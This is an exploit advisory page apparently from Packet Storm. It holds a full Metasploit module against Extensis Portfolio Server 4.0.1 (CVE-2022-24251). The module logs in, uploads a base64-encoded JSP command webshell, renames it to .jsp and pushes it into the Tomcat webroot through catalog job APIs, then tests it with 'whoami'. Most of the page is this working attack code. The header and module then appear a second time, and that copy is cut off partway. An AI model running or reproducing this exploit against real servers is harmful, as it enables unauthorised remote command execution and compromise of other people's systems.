8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module exploits multiple vulnerabilities in Extensis Portfolio Server to achieve remote code execution. It leverages CVE-2022-24251 and related issues to upload a JSP webshell and execute arbitrary commands. Version 4.0.1 is affected...
Basic Information
ID
PACKETSTORM:215719
Published
Feb 17, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Extensis Portfolio Manager 4.0.1 Authentication and Job Handling Weaknesses |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.extensis.com/support/portfolio-4/ |
=============================================================================================================================================
[+] Summary : This module performs a security assessment of authentication and asset job handling mechanisms in Extensis Portfolio Server.
It demonstrates how weaknesses in public key handling, session management, and catalog job execution workflows could be abused by an authenticated user with elevated privileges.
The module:
Retrieves and processes the serverβs RSA public key for authentication.
Authenticates using encrypted credentials.
Interacts with catalog and job APIs.
Evaluates how asset handling operations may impact server-side file locations.
Verifies whether improper validation or privilege enforcement could lead to unintended file exposure or execution.
The purpose of this module is to help security professionals identify misconfigurations, privilege escalation risks, and insecure file handling practices so they can be remediated
[+] POC :
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
require 'base64'
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Extensis Portfolio Server Multiple Vulnerabilities',
'Description' => %q{
This module exploits multiple vulnerabilities in Extensis Portfolio Server
to achieve remote code execution. It leverages CVE-2022-24251 and related
issues to upload a JSP webshell and execute arbitrary commands.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-24251'],
['URL', 'https://gitlab.com/kalilinux/packages/webshells/-/blob/kali/master/jsp/cmdjsp.jsp'],
['URL', 'https://www.extensis.com/support/portfolio-archive/']
],
'Platform' => ['win'],
'Targets' => [
[
'Windows JSP',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win',
'Payload' => {
'Compat' => {
'PayloadType' => 'java jsp',
'RequiredCmd' => 'generic'
}
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-01',
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8090),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username for authentication']),
OptString.new('PASSWORD', [true, 'Password for authentication']),
OptInt.new('DELAY', [true, 'Delay between operations in seconds', 3])
]
)
register_advanced_options(
[
OptString.new('WEBROOT_PATH', [false, 'Custom webroot path (default: common installation paths)', ''])
]
)
end
def create_rsa_public_key(modulus_hex, exponent_str)
begin
modulus_bn = OpenSSL::BN.new(modulus_hex, 16)
exponent_bn = OpenSSL::BN.new(exponent_str)
algorithm = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::ObjectId('rsaEncryption'),
OpenSSL::ASN1::Null.new(nil)
])
pkcs1_key = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(modulus_bn),
OpenSSL::ASN1::Integer(exponent_bn)
])
subject_public_key = OpenSSL::ASN1::BitString(pkcs1_key.to_der)
spki = OpenSSL::ASN1::Sequence([
algorithm,
subject_public_key
])
key = OpenSSL::PKey::RSA.new(spki.to_der)
return key
rescue StandardError => e
fail_with(Failure::Unknown, "Failed to create RSA key: #{e.message}")
end
end
def encrypt_password(modulus_hex, exponent_str, password)
begin
rsa_key = create_rsa_public_key(modulus_hex, exponent_str)
encrypted = rsa_key.public_encrypt(password, OpenSSL::PKey::RSA::PKCS1_PADDING)
return Base64.strict_encode64(encrypted)
rescue StandardError => e
fail_with(Failure::Unknown, "Password encryption failed: #{e.message}")
end
end
def check
print_status("Checking if target is vulnerable")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
})
if res.nil?
return CheckCode::Unknown('Connection failed')
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
return CheckCode::Unknown('Invalid JSON response')
end
if json_res.is_a?(Hash) && json_res['modulusBase16'] && json_res['exponent']
return CheckCode::Appears('Extensis Portfolio Server detected - appears vulnerable')
end
end
return CheckCode::Safe
rescue StandardError => e
print_error("Check failed: #{e.message}")
return CheckCode::Unknown
end
end
def login
print_status("Attempting to login with username: #{datastore['USERNAME']}")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
})
if res.nil?
fail_with(Failure::Unreachable, 'Connection failed - target unreachable')
end
if res.code != 200
fail_with(Failure::NoAccess, "Failed to get public key. HTTP Code: #{res.code}")
end
begin
json_res = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from public-key endpoint')
end
unless json_res.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid public key response format')
end
modulus = json_res['modulusBase16']
exponent = json_res['exponent']
if modulus.nil? || exponent.nil?
fail_with(Failure::UnexpectedReply, 'Missing modulus or exponent in response')
end
encrypted_password = encrypt_password(modulus, exponent, datastore['PASSWORD'])
login_data = {
'userName' => datastore['USERNAME'],
'encryptedPassword' => encrypted_password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v1/auth/login'),
'ctype' => 'application/json',
'data' => login_data.to_json
})
if res.nil?
fail_with(Failure::Unreachable, 'Login connection failed')
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from login endpoint')
end
unless json_res.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid login response format')
end
session_token = json_res['session']
if session_token.nil?
fail_with(Failure::UnexpectedReply, 'No session token in response')
end
print_good("Successfully logged in. Session token: #{session_token}")
return session_token
else
fail_with(Failure::NoAccess, "Login failed. HTTP Code: #{res.code}")
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, "Connection error: #{e.message}")
end
end
def get_catalog_info(session)
print_status("Retrieving catalog information")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/catalog'),
'vars_get' => { 'session' => session }
})
if res.nil?
fail_with(Failure::Unreachable, 'Failed to connect for catalog info')
end
if res.code != 200
fail_with(Failure::UnexpectedReply, "Failed to get catalog. HTTP Code: #{res.code}")
end
begin
catalogs = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from catalog endpoint')
end
unless catalogs.is_a?(Array)
fail_with(Failure::UnexpectedReply, 'Catalog response is not an array')
end
catalogs.each do |catalog|
unless catalog.is_a?(Hash)
print_error("Invalid catalog entry format, skipping")
next
end
catalog_id = catalog['id']
storage_type = catalog['storageType']
if storage_type == 'Filesystem'
watchfolder_id, watchfolder_path = get_watchfolder(session, catalog_id)
if watchfolder_id
print_good("Found Filesystem catalog ID: #{catalog_id}")
print_good("Watchfolder ID: #{watchfolder_id}, Path: #{watchfolder_path}")
return {
'catalog_id' => catalog_id,
'storage_type' => 'Filesystem',
'watchfolder_id' => watchfolder_id,
'watchfolder_path' => watchfolder_path
}
end
end
end
if catalogs.any?
first_catalog = catalogs.first
unless first_catalog.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'First catalog entry is not a hash')
end
catalog_id = first_catalog['id']
storage_type = first_catalog['storageType']
print_status("Using #{storage_type} catalog ID: #{catalog_id}")
return {
'catalog_id' => catalog_id,
'storage_type' => storage_type,
'watchfolder_id' => nil,
'watchfolder_path' => nil
}
end
fail_with(Failure::NotFound, 'No catalogs found')
end
def get_watchfolder(session, catalog_id)
print_status("Getting watchfolder for catalog #{catalog_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder"),
'vars_get' => { 'session' => session }
})
if res.nil?
print_error("Connection failed for watchfolder request")
return [nil, nil]
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
print_error("Invalid JSON response from watchfolder endpoint")
return [nil, nil]
end
if json_res.is_a?(Array) && !json_res.empty?
entry = json_res.first
if entry.is_a?(Hash)
watchfolder_id = entry['watchFolderId']
watchfolder_path = entry['path']
return [watchfolder_id, watchfolder_path] if watchfolder_id
end
end
end
print_error("Failed to get watchfolder: HTTP #{res.code}")
return [nil, nil]
end
def upload_webshell(session, catalog_id, filename, watchfolder_id)
print_status("Uploading webshell as #{filename}")
webshell_b64 = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCiAgIFN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7CiAgIFN0cmluZyBvdXRwdXQgPSAiIjsKCiAgIGlmKGNtZCAhPSBudWxsKSB7CiAgICAgIFN0cmluZyBzID0gbnVsbDsKICAgICAgdHJ5IHsKICAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiY21kLmV4ZSAvQyAiICsgY21kKTsKICAgICAgICAgQnVmZmVyZWRSZWFkZXIgc0kgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHAuZ2V0SW5wdXRTdHJlYW0oKSkpOwogICAgICAgICB3aGlsZSgocyA9IHNJLnJlYWRMaW5lKCkpICE9IG51bGwpIHsKICAgICAgICAgICAgb3V0cHV0ICs9IHM7CiAgICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgIH0KICAgfQolPgoKPHByZT4KPCU9b3V0cHV0ICU+CjwvcHJlPg=='
post_data = Rex::MIME::Message.new
post_data.add_part(Base64.decode64(webshell_b64), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="path"')
post_data.add_part(filename, nil, nil, 'form-data; name="filename"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder/#{watchfolder_id}/upload"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => { 'session' => session },
'data' => post_data.to_s
})
if res.nil?
fail_with(Failure::Unreachable, "Connection failed during upload")
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from upload endpoint')
end
unless json_res.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid upload response format')
end
asset_id = json_res['assetId']
if asset_id.nil?
fail_with(Failure::UnexpectedReply, 'No assetId in upload response')
end
print_good("Webshell uploaded successfully. Asset ID: #{asset_id}")
return asset_id
else
fail_with(Failure::Unknown, "Upload failed: HTTP #{res.code}")
end
end
def rename_webshell(session, catalog_id, asset_id, old_filename)
new_filename = old_filename.gsub('.txt', '.jsp')
print_status("Renaming webshell from #{old_filename} to #{new_filename}")
data = {
'embed' => false,
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
},
'changes' => [
{
'action' => 'replaceAllValues',
'field' => 'Filename',
'existingValues' => 'null',
'newValues' => [new_filename]
}
]
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/asset/updateFieldValues"),
'ctype' => 'application/json',
'vars_get' => { 'session' => session },
'data' => data.to_json
})
if res.nil?
fail_with(Failure::Unreachable, "Connection failed during rename")
end
if res.code == 204
print_good("Successfully renamed webshell to #{new_filename}")
return new_filename
else
fail_with(Failure::Unknown, "Rename failed: HTTP #{res.code}")
end
end
def get_webroot_path
path = datastore['WEBROOT_PATH'].to_s
return path unless path.empty?
[
'C:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
'C:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
'D:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
'D:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT'
].first
end
def write_to_webroot(session, asset_id, catalog_info, filename)
unless catalog_info.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
end
catalog_id = catalog_info['catalog_id']
storage_type = catalog_info['storage_type']
watchfolder_path = catalog_info['watchfolder_path']
print_status("Attempting to write webshell to webroot")
webroot_base = get_webroot_path
if storage_type == 'Vault'
webroot_path = webroot_base
job_data = {
'job' => {
'description' => 'JOB_TYPE_EXPORT_ASSETS',
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
},
'tasks' => [
{
'type' => 'exportAssets',
'catalogId' => catalog_id,
'settings' => [
{
'name' => 'destination',
'value' => webroot_path
}
]
}
]
},
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
}
}
else
if watchfolder_path.nil? || !watchfolder_path.include?(':')
fail_with(Failure::UnexpectedReply, "Invalid watchfolder path format: #{watchfolder_path}")
end
parts = watchfolder_path.split(':')
if parts.length >= 3
hostname = parts[2]
unc_root = webroot_base.gsub('C:', "::#{hostname}:C$").gsub('\\', ':')
webroot_path = unc_root
else
fail_with(Failure::UnexpectedReply, "Unexpected watchfolder path format: #{watchfolder_path}")
end
job_data = {
'job' => {
'description' => 'JOB_TYPE_MOVE_ASSETS',
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
},
'tasks' => [
{
'type' => 'moveAssets',
'settings' => [
{
'name' => 'destinationCatalog',
'value' => catalog_id
},
{
'name' => 'destination',
'value' => webroot_path
},
{
'name' => 'preserveFolderStructure',
'value' => false
},
{
'name' => 'sourceFolder',
'value' => ''
}
]
}
]
},
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
}
}
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v1/job/run'),
'ctype' => 'application/json',
'vars_get' => {
'session' => session,
'catalog' => catalog_id
},
'data' => job_data.to_json
})
if res.nil?
fail_with(Failure::Unreachable, "Connection failed during job execution")
end
if res.code == 200
full_webroot_path = "#{webroot_base}\\#{filename}"
register_file_for_cleanup(full_webroot_path)
protocol = ssl? ? 'https' : 'http'
target_host = rhost
target_port = rport
webshell_url = "#{protocol}://#{target_host}:#{target_port}/#{filename}?cmd=<command>"
print_good("Successfully exported webshell to filesystem")
print_good("Webshell URL: #{webshell_url}")
return true
elsif res.code == 403
fail_with(Failure::NoAccess, "Export failed: Insufficient privileges - Need Catalog Administrator privileges for Vault catalogs")
else
fail_with(Failure::Unknown, "Export failed: HTTP #{res.code}")
end
end
def execute_command(cmd, filename)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, filename),
'vars_get' => { 'cmd' => cmd }
})
if res.nil?
print_error("Connection failed for command execution")
return nil
end
if res.code == 200 && res.body
match = res.body.match(/<pre>(.*?)<\/pre>/m)
return match[1].strip if match
return res.body
end
nil
end
def exploit
filename = Rex::Text.rand_text_alpha(10) + '.txt'
session = login()
catalog_info = get_catalog_info(session)
unless catalog_info.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
end
if catalog_info['storage_type'] == 'Filesystem' && catalog_info['watchfolder_id'].nil?
fail_with(Failure::NotFound, 'No watchfolder found for Filesystem catalog')
end
asset_id = upload_webshell(session, catalog_info['catalog_id'], filename, catalog_info['watchfolder_id'])
new_filename = rename_webshell(session, catalog_info['catalog_id'], asset_id, filename)
success = write_to_webroot(session, asset_id, catalog_info, new_filename)
print_status("Waiting #{datastore['DELAY']} seconds for file to be written...")
Rex.sleep(datastore['DELAY'])
print_status("Testing webshell with 'whoami' command")
result = execute_command('whoami', new_filename)
if result && !result.empty?
print_good("Webshell test successful! Output:\n#{result}")
print_status("Webshell is ready for payload execution")
else
print_error("Webshell test failed - manual check required")
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================
| # Title : Extensis Portfolio Manager 4.0.1 Authentication and Job Handling Weaknesses |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.extensis.com/support/portfolio-4/ |
=============================================================================================================================================
[+] Summary : This module performs a security assessment of authentication and asset job handling mechanisms in Extensis Portfolio Server.
It demonstrates how weaknesses in public key handling, session management, and catalog job execution workflows could be abused by an authenticated user with elevated privileges.
The module:
Retrieves and processes the serverβs RSA public key for authentication.
Authenticates using encrypted credentials.
Interacts with catalog and job APIs.
Evaluates how asset handling operations may impact server-side file locations.
Verifies whether improper validation or privilege enforcement could lead to unintended file exposure or execution.
The purpose of this module is to help security professionals identify misconfigurations, privilege escalation risks, and insecure file handling practices so they can be remediated
[+] POC :
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
require 'base64'
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Extensis Portfolio Server Multiple Vulnerabilities',
'Description' => %q{
This module exploits multiple vulnerabilities in Extensis Portfolio Server
to achieve remote code execution. It leverages CVE-2022-24251 and related
issues to upload a JSP webshell and execute arbitrary commands.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-24251'],
['URL', 'https://gitlab.com/kalilinux/packages/webshells/-/blob/kali/master/jsp/cmdjsp.jsp'],
['URL', 'https://www.extensis.com/support/portfolio-archive/']
],
'Platform' => ['win'],
'Targets' => [
[
'Windows JSP',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win',
'Payload' => {
'Compat' => {
'PayloadType' => 'java jsp',
'RequiredCmd' => 'generic'
}
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-01',
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8090),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username for authentication']),
OptString.new('PASSWORD', [true, 'Password for authentication']),
OptInt.new('DELAY', [true, 'Delay between operations in seconds', 3])
]
)
register_advanced_options(
[
OptString.new('WEBROOT_PATH', [false, 'Custom webroot path (default: common installation paths)', ''])
]
)
end
def create_rsa_public_key(modulus_hex, exponent_str)
begin
modulus_bn = OpenSSL::BN.new(modulus_hex, 16)
exponent_bn = OpenSSL::BN.new(exponent_str)
algorithm = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::ObjectId('rsaEncryption'),
OpenSSL::ASN1::Null.new(nil)
])
pkcs1_key = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(modulus_bn),
OpenSSL::ASN1::Integer(exponent_bn)
])
subject_public_key = OpenSSL::ASN1::BitString(pkcs1_key.to_der)
spki = OpenSSL::ASN1::Sequence([
algorithm,
subject_public_key
])
key = OpenSSL::PKey::RSA.new(spki.to_der)
return key
rescue StandardError => e
fail_with(Failure::Unknown, "Failed to create RSA key: #{e.message}")
end
end
def encrypt_password(modulus_hex, exponent_str, password)
begin
rsa_key = create_rsa_public_key(modulus_hex, exponent_str)
encrypted = rsa_key.public_encrypt(password, OpenSSL::PKey::RSA::PKCS1_PADDING)
return Base64.strict_encode64(encrypted)
rescue StandardError => e
fail_with(Failure::Unknown, "Password encryption failed: #{e.message}")
end
end
def check
print_status("Checking if target is vulnerable")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
})
if res.nil?
return CheckCode::Unknown('Connection failed')
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
return CheckCode::Unknown('Invalid JSON response')
end
if json_res.is_a?(Hash) && json_res['modulusBase16'] && json_res['exponent']
return CheckCode::Appears('Extensis Portfolio Server detected - appears vulnerable')
end
end
return CheckCode::Safe
rescue StandardError => e
print_error("Check failed: #{e.message}")
return CheckCode::Unknown
end
end
def login
print_status("Attempting to login with username: #{datastore['USERNAME']}")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
})
if res.nil?
fail_with(Failure::Unreachable, 'Connection failed - target unreachable')
end
if res.code != 200
fail_with(Failure::NoAccess, "Failed to get public key. HTTP Code: #{res.code}")
end
begin
json_res = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from public-key endpoint')
end
unless json_res.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid public key response format')
end
modulus = json_res['modulusBase16']
exponent = json_res['exponent']
if modulus.nil? || exponent.nil?
fail_with(Failure::UnexpectedReply, 'Missing modulus or exponent in response')
end
encrypted_password = encrypt_password(modulus, exponent, datastore['PASSWORD'])
login_data = {
'userName' => datastore['USERNAME'],
'encryptedPassword' => encrypted_password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v1/auth/login'),
'ctype' => 'application/json',
'data' => login_data.to_json
})
if res.nil?
fail_with(Failure::Unreachable, 'Login connection failed')
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from login endpoint')
end
unless json_res.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid login response format')
end
session_token = json_res['session']
if session_token.nil?
fail_with(Failure::UnexpectedReply, 'No session token in response')
end
print_good("Successfully logged in. Session token: #{session_token}")
return session_token
else
fail_with(Failure::NoAccess, "Login failed. HTTP Code: #{res.code}")
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, "Connection error: #{e.message}")
end
end
def get_catalog_info(session)
print_status("Retrieving catalog information")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/catalog'),
'vars_get' => { 'session' => session }
})
if res.nil?
fail_with(Failure::Unreachable, 'Failed to connect for catalog info')
end
if res.code != 200
fail_with(Failure::UnexpectedReply, "Failed to get catalog. HTTP Code: #{res.code}")
end
begin
catalogs = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from catalog endpoint')
end
unless catalogs.is_a?(Array)
fail_with(Failure::UnexpectedReply, 'Catalog response is not an array')
end
catalogs.each do |catalog|
unless catalog.is_a?(Hash)
print_error("Invalid catalog entry format, skipping")
next
end
catalog_id = catalog['id']
storage_type = catalog['storageType']
if storage_type == 'Filesystem'
watchfolder_id, watchfolder_path = get_watchfolder(session, catalog_id)
if watchfolder_id
print_good("Found Filesystem catalog ID: #{catalog_id}")
print_good("Watchfolder ID: #{watchfolder_id}, Path: #{watchfolder_path}")
return {
'catalog_id' => catalog_id,
'storage_type' => 'Filesystem',
'watchfolder_id' => watchfolder_id,
'watchfolder_path' => watchfolder_path
}
end
end
end
if catalogs.any?
first_catalog = catalogs.first
unless first_catalog.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'First catalog entry is not a hash')
end
catalog_id = first_catalog['id']
storage_type = first_catalog['storageType']
print_status("Using #{storage_type} catalog ID: #{catalog_id}")
return {
'catalog_id' => catalog_id,
'storage_type' => storage_type,
'watchfolder_id' => nil,
'watchfolder_path' => nil
}
end
fail_with(Failure::NotFound, 'No catalogs found')
end
def get_watchfolder(session, catalog_id)
print_status("Getting watchfolder for catalog #{catalog_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder"),
'vars_get' => { 'session' => session }
})
if res.nil?
print_error("Connection failed for watchfolder request")
return [nil, nil]
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
print_error("Invalid JSON response from watchfolder endpoint")
return [nil, nil]
end
if json_res.is_a?(Array) && !json_res.empty?
entry = json_res.first
if entry.is_a?(Hash)
watchfolder_id = entry['watchFolderId']
watchfolder_path = entry['path']
return [watchfolder_id, watchfolder_path] if watchfolder_id
end
end
end
print_error("Failed to get watchfolder: HTTP #{res.code}")
return [nil, nil]
end
def upload_webshell(session, catalog_id, filename, watchfolder_id)
print_status("Uploading webshell as #{filename}")
webshell_b64 = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCiAgIFN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7CiAgIFN0cmluZyBvdXRwdXQgPSAiIjsKCiAgIGlmKGNtZCAhPSBudWxsKSB7CiAgICAgIFN0cmluZyBzID0gbnVsbDsKICAgICAgdHJ5IHsKICAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiY21kLmV4ZSAvQyAiICsgY21kKTsKICAgICAgICAgQnVmZmVyZWRSZWFkZXIgc0kgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHAuZ2V0SW5wdXRTdHJlYW0oKSkpOwogICAgICAgICB3aGlsZSgocyA9IHNJLnJlYWRMaW5lKCkpICE9IG51bGwpIHsKICAgICAgICAgICAgb3V0cHV0ICs9IHM7CiAgICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgIH0KICAgfQolPgoKPHByZT4KPCU9b3V0cHV0ICU+CjwvcHJlPg=='
post_data = Rex::MIME::Message.new
post_data.add_part(Base64.decode64(webshell_b64), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="path"')
post_data.add_part(filename, nil, nil, 'form-data; name="filename"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder/#{watchfolder_id}/upload"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => { 'session' => session },
'data' => post_data.to_s
})
if res.nil?
fail_with(Failure::Unreachable, "Connection failed during upload")
end
if res.code == 200
begin
json_res = res.get_json_document
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from upload endpoint')
end
unless json_res.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid upload response format')
end
asset_id = json_res['assetId']
if asset_id.nil?
fail_with(Failure::UnexpectedReply, 'No assetId in upload response')
end
print_good("Webshell uploaded successfully. Asset ID: #{asset_id}")
return asset_id
else
fail_with(Failure::Unknown, "Upload failed: HTTP #{res.code}")
end
end
def rename_webshell(session, catalog_id, asset_id, old_filename)
new_filename = old_filename.gsub('.txt', '.jsp')
print_status("Renaming webshell from #{old_filename} to #{new_filename}")
data = {
'embed' => false,
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
},
'changes' => [
{
'action' => 'replaceAllValues',
'field' => 'Filename',
'existingValues' => 'null',
'newValues' => [new_filename]
}
]
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/asset/updateFieldValues"),
'ctype' => 'application/json',
'vars_get' => { 'session' => session },
'data' => data.to_json
})
if res.nil?
fail_with(Failure::Unreachable, "Connection failed during rename")
end
if res.code == 204
print_good("Successfully renamed webshell to #{new_filename}")
return new_filename
else
fail_with(Failure::Unknown, "Rename failed: HTTP #{res.code}")
end
end
def get_webroot_path
path = datastore['WEBROOT_PATH'].to_s
return path unless path.empty?
[
'C:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
'C:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
'D:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
'D:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT'
].first
end
def write_to_webroot(session, asset_id, catalog_info, filename)
unless catalog_info.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
end
catalog_id = catalog_info['catalog_id']
storage_type = catalog_info['storage_type']
watchfolder_path = catalog_info['watchfolder_path']
print_status("Attempting to write webshell to webroot")
webroot_base = get_webroot_path
if storage_type == 'Vault'
webroot_path = webroot_base
job_data = {
'job' => {
'description' => 'JOB_TYPE_EXPORT_ASSETS',
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
},
'tasks' => [
{
'type' => 'exportAssets',
'catalogId' => catalog_id,
'settings' => [
{
'name' => 'destination',
'value' => webroot_path
}
]
}
]
},
'query' => {
'term' => {
'operator' => 'assetsById',
'values' => [asset_id]
}
}
}
else
